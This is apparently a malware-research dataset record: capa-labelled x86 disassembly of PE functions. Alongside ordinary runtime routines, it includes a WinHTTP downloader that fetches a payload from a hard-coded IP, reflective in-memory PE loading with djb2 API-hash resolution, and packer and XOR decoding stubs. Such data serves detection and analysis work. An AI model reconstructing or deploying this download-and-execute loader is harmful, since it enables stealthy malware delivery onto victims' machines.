joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d8f8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ebx, ebx
je 0x40d923
cmp dword [ebp + 0xc], 0
jne 0x40d92a
xor eax, eax
jmp 0x40da08
mov eax, dword [ebx + 0x3c]
xor esi, esi
add eax, ebx
mov edx, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
add edx, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [edx + 0x1c]
mov ecx, dword [edx + 0x20]
mov dword [ebp - 0x30], eax
mov eax, dword [edx + 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
je 0x40d923
lea eax, [ebx + ecx]
mov dword [ebp - 0x40], edx
mov edi, dword [eax + esi*4]
mov dword [esp + 8], 1
mov dword [esp + 4], 0
add edi, ebx
mov dword [ebp - 0x3c], ecx
mov dword [esp], edi
call fcn.0040b9fc
cmp eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x40]
jne 0x40da02
mov eax, dword [ebp - 0x34]
add esi, esi
add esi, ebx
movzx eax, word [esi + eax]
mov esi, dword [ebp - 0x30]
lea eax, [ebx + eax*4]
mov ecx, dword [eax + esi]
add ecx, ebx
mov dword [ebp - 0x24], ecx
cmp ecx, edx
jae 0x40d9a9
mov eax, dword [ebp - 0x24]
jmp 0x40da08
mov eax, dword [ebp - 0x2c]
add eax, ebx
add eax, edx
cmp ecx, eax
jae 0x40d9a4
mov dword [esp], edi
call fcn.00412e48
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x20], ax
inc eax
mov word [ebp - 0x1e], ax
mov eax, dword [0x417338]
mov eax, dword [eax + 0xe0]
test eax, eax
je 0x40d923
lea edx, [ebp - 0x24]
mov dword [esp + 8], 0
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], ebx
call eax
sub esp, 0x10
test eax, eax
jns 0x40d9a4
jmp 0x40d923
inc esi
jmp 0x40d951
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x412360
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ebx
add ecx, dword [ecx + 0x3c]
movzx eax, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
cmp dword [eax + 0x14], edx
ja 0x4123a6
movzx ecx, word [ecx + 6]
imul ecx, ecx, 0x28
add ecx, eax
cmp eax, ecx
je 0x4123a4
mov ebx, dword [eax + 0xc]
cmp edx, ebx
jb 0x41239f
mov esi, dword [eax + 0x10]
add esi, ebx
cmp esi, edx
jbe 0x41239f
add edx, dword [eax + 0x14]
sub edx, ebx
jmp 0x4123a6
add eax, 0x28
jmp 0x412384
xor edx, edx
pop ebx
mov eax, edx
pop esi
pop ebp
ret
Function at 0x402450
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa1840
call fcn.004036f0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xa1820], 0
push eax
push eax
push eax
mov word [ebp - 0xa180c], ax
lea eax, [ebp - 0xa181c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xa1820]
mov dword [ebp - 0xa181c], 0x10001
push eax
mov dword [ebp - 0xa1818], 0x5622
mov dword [ebp - 0xa1814], 0x5622
mov dword [ebp - 0xa1810], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0xa17fc
lea eax, [ebp - 0xa1808]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
movsx ecx, al
movsx edx, al
imul edx, ecx
mov ecx, eax
shr ecx, 3
xor dl, al
sar dl, 2
or dl, cl
mov byte [ebp + eax - 0xa1808], dl
inc eax
cmp eax, 0xa17fc
jb 0x4024d3
lea eax, [ebp - 0xa1808]
mov dword [ebp - 0xa183c], 0xa17fc
mov dword [ebp - 0xa1840], eax
lea eax, [ebp - 0xa1840]
push 0x20
push eax
push dword [ebp - 0xa1820]
mov dword [ebp - 0xa1838], 0
mov dword [ebp - 0xa1834], 0
mov dword [ebp - 0xa1830], 0
mov dword [ebp - 0xa182c], 0
mov dword [ebp - 0xa1828], 0
mov dword [ebp - 0xa1824], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0xa1840]
push eax
push dword [ebp - 0xa1820]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0xa1840]
push eax
push dword [ebp - 0xa1820]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0xa1820]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004028eb
mov esp, ebp
pop ebp
ret
Function at 0x40311c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40315b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40315b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40315b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40315b
cmp dword [ecx + 0x74], 0xe
jbe 0x40315b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x991790
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x79a015
lea edi, [esi - 0x399015]
push edi
or ebp, 0xffffffff
jmp 0x9917b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x9917b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9917a8
mov eax, 1
add ebx, ebx
jne 0x9917cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x9917dc
jne 0x9917fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9917fb
dec eax
add ebx, ebx
jne 0x9917e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x9917c0
add ebx, ebx
jne 0x9917f7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x99184d
xor ecx, ecx
sub eax, 3
jb 0x991813
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x991882
sar eax, 1
mov ebp, eax
jmp 0x99181e
add ebx, ebx
jne 0x99181e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9917ec
inc ecx
add ebx, ebx
jne 0x99182c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9917ec
add ebx, ebx
jne 0x991839
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x99182e
jne 0x99184a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x99182e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x99186c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x99185e
jmp 0x9917ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x99186c
add edi, ecx
jmp 0x9917ae
pop esi
mov edi, esi
mov ecx, 0xe20e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x99188a
cmp byte [edi], 0x15
jne 0x99188a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x99188f
lea edi, [esi + 0x58f000]
mov eax, dword [edi]
or eax, eax
je 0x9918fe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x591000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x591050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x9918bc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x591058]
or eax, eax
je 0x9918f8
mov dword [ebx], eax
add ebx, 4
jmp 0x9918d9
call dword [esi + 0x591054]
mov ebp, dword [esi + 0x59105c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x991932
sub esp, 0xffffff80
jmp 0x44cc00
Function at 0x401140
Capabilities:
Resolve function by djb2 hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, 8
shl eax, 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax + 0x78]
add edx, dword [ebp + 8]
mov dword [ebp - 4], edx
mov eax, 8
imul ecx, eax, 0xc
mov edx, dword [ebp + 0xc]
cmp dword [edx + ecx + 0x78], 0
je 0x401176
mov dword [ebp - 0x14], 0xc
jmp 0x40117d
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], 0x7040ee75
mov dword [ebp - 0x28], 0x5fbff0fb
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x24]
push ecx
call section..text
add esp, 4
mov dword [ebp - 0x2c], eax
push 0
push 0
push 0
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00401680
add esp, 0x14
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*8 + 0x78]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*8 + 0x7c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp + 8]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 4]
cmp dword [edx + 0xc], 0
je 0x4012cd
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
add ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
add eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
cmp dword [ecx], 0
je 0x401221
mov edx, dword [ebp - 4]
mov eax, dword [edx]
add eax, dword [ebp + 8]
mov dword [ebp - 8], eax
jmp 0x40122d
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
add edx, dword [ebp + 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x4012bf
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
and edx, 0x80000000
je 0x40126d
mov eax, dword [ebp - 0x10]
push eax
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
and edx, 0xffff
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call fcn.00401680
add esp, 0x14
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
jmp 0x4012a8
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp + 8]
lea edx, [eax + ecx + 2]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
push eax
call fcn.004019e0
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00401680
add esp, 0x14
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc]
add edx, 4
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, 4
mov dword [ebp - 8], eax
jmp 0x40122d
mov ecx, dword [ebp - 4]
add ecx, 0x14
mov dword [ebp - 4], ecx
jmp 0x4011e3
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4013a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x10], 0x7040ee75
mov eax, dword [ebp - 0x10]
push eax
call section..text
add esp, 4
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401460
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4013ff
xor eax, eax
jmp 0x401454
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00401140
add esp, 8
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x28]
add eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
call dword [ebp - 0x18]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401460
Capabilities:
Resolve function by djb2 hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x3c]
mov ecx, dword [ebp + 8]
lea edx, [eax + ecx + 0xf8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 6]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0x7040ee75
mov dword [ebp - 0x24], 0x382c0f97
mov dword [ebp - 0x28], 0x844ff18d
mov edx, dword [ebp - 0x20]
push edx
call section..text
add esp, 4
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00401680
add esp, 0x14
mov dword [ebp - 0x2c], eax
push 0
push 0
push 0
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00401680
add esp, 0x14
mov dword [ebp - 0x34], eax
push 4
push 0x3000
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x50]
push edx
push 0
call dword [ebp - 0x2c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.004028d0
add esp, 0xc
mov dword [ebp - 0x10], 0
jmp 0x401532
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x10], eax
jge 0x40156c
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x14]
add ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
add eax, dword [ebp - 0xc]
push eax
call fcn.004028d0
add esp, 0xc
mov ecx, dword [ebp - 4]
add ecx, 0x28
mov dword [ebp - 4], ecx
jmp 0x401529
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
sub eax, dword [edx + 0x34]
mov dword [ebp - 0x1c], eax
mov ecx, 8
imul edx, ecx, 5
mov eax, dword [ebp - 8]
cmp dword [eax + edx + 0x78], 0
je 0x4015a4
cmp dword [ebp - 0x1c], 0
je 0x4015a4
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.004012e0
add esp, 0xc
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp + 8]
lea ecx, [edx + eax + 0xf8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], 0
jmp 0x4015c9
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x14], ecx
jge 0x401608
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
and eax, 0x20000000
je 0x4015fd
lea ecx, [ebp - 0x30]
push ecx
push 0x20
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + 0xc]
push edx
call dword [ebp - 0x34]
nop
mov eax, dword [ebp - 4]
add eax, 0x28
mov dword [ebp - 4], eax
jmp 0x4015c0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x4019e0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0x1505
cmp dword [ebp + 8], 0
jne 0x4019f7
xor eax, eax
jmp 0x401a29
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 8]
add eax, 1
mov dword [ebp + 8], eax
cmp dword [ebp - 0xc], 0
je 0x401a26
mov ecx, dword [ebp - 4]
shl ecx, 5
add ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x4019f7
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401a30
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0x1505
cmp dword [ebp + 8], 0
jne 0x401a47
xor eax, eax
jmp 0x401a79
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 8]
add eax, 2
mov dword [ebp + 8], eax
cmp dword [ebp - 0xc], 0
je 0x401a76
mov ecx, dword [ebp - 4]
shl ecx, 5
add ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x401a47
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401a80
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 0x24], str.67.217.228.17
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc], 0
push 0x44
push 0
lea eax, [ebp - 0x84]
push eax
call fcn.00402e50
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
push 0x989680
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x18], eax
push 0
push 0x50
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
push str._file
push 0x41503c
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x401b82
xor eax, eax
jmp 0x401bfd
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x401b96
xor eax, eax
jmp 0x401bfd
mov edx, 1
test edx, edx
je 0x401bef
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x401bb5
xor eax, eax
jmp 0x401bfd
cmp dword [ebp - 0xc], 0
jne 0x401bbd
jmp 0x401bef
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x401bdb
xor eax, eax
jmp 0x401bfd
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
jmp 0x401b96
mov edx, dword [ebp - 0x14]
push edx
call fcn.004013a0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402310
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40234f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40234f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40234f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40234f
cmp dword [ecx + 0x74], 0xe
jbe 0x40234f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x408517
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4085b4
push ebx
push esi
call fcn.004084e0
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408474
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x408561
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4085b3
push edi
push eax
call fcn.00406695
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408581
call fcn.0040665b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4085b2
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408474
add esp, 0x20
test eax, eax
jne 0x4085a0
push edi
call fcn.0040665b
jmp 0x4085a8
push ebx
call fcn.0040665b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x409442
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x410fe0
push 0x410fd8
push str.FlsAlloc
push 0x1f
call fcn.0040935e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409476
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f124]
call esi
jmp 0x40947c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4094c0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x410ff0
push 0x410fe8
push str.FlsGetValue
push 0x21
call fcn.0040935e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4094f7
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f124]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4094ff
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x410ff8
push 0x410ff0
push str.FlsSetValue
push 0x22
call fcn.0040935e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409539
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40f124]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40e330
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40e35d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40e35d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10216517
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1023ed50]
jne 0x10216521
repz ret
jmp fcn.10217b7c

Function at 0x102199e7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.102147b4
and dword [ebp - 4], 0
cmp dword [0x10240424], 0
mov ebx, eax
jne 0x10219a98
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10219b49
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10219b49
push eax
call fcn.10214742
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10240424], eax
call esi
push eax
call fcn.10214742
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10240428], eax
call esi
push eax
call fcn.10214742
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1024042c], eax
call esi
push eax
call fcn.10214742
pop ecx
mov dword [0x10240434], eax
test eax, eax
je 0x10219a98
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10214742
pop ecx
mov dword [0x10240430], eax
mov eax, dword [0x10240430]
cmp eax, ebx
je 0x10219af0
cmp dword [0x10240434], ebx
je 0x10219af0
push eax
call fcn.102147bd
push dword [0x10240434]
mov esi, eax
call fcn.102147bd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10219af0
test edi, edi
je 0x10219af0
call esi
test eax, eax
je 0x10219ae7
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10219ae7
test byte [ebp - 0xc], 1
jne 0x10219af0
or dword [ebp + 0x10], 0x200000
jmp 0x10219b29
mov eax, dword [0x10240428]
cmp eax, ebx
je 0x10219b29
push eax
call fcn.102147bd
pop ecx
test eax, eax
je 0x10219b29
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10219b29
mov eax, dword [0x1024042c]
cmp eax, ebx
je 0x10219b29
push eax
call fcn.102147bd
pop ecx
test eax, eax
je 0x10219b29
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10240424]
call fcn.102147bd
pop ecx
test eax, eax
je 0x10219b49
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10219b4b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret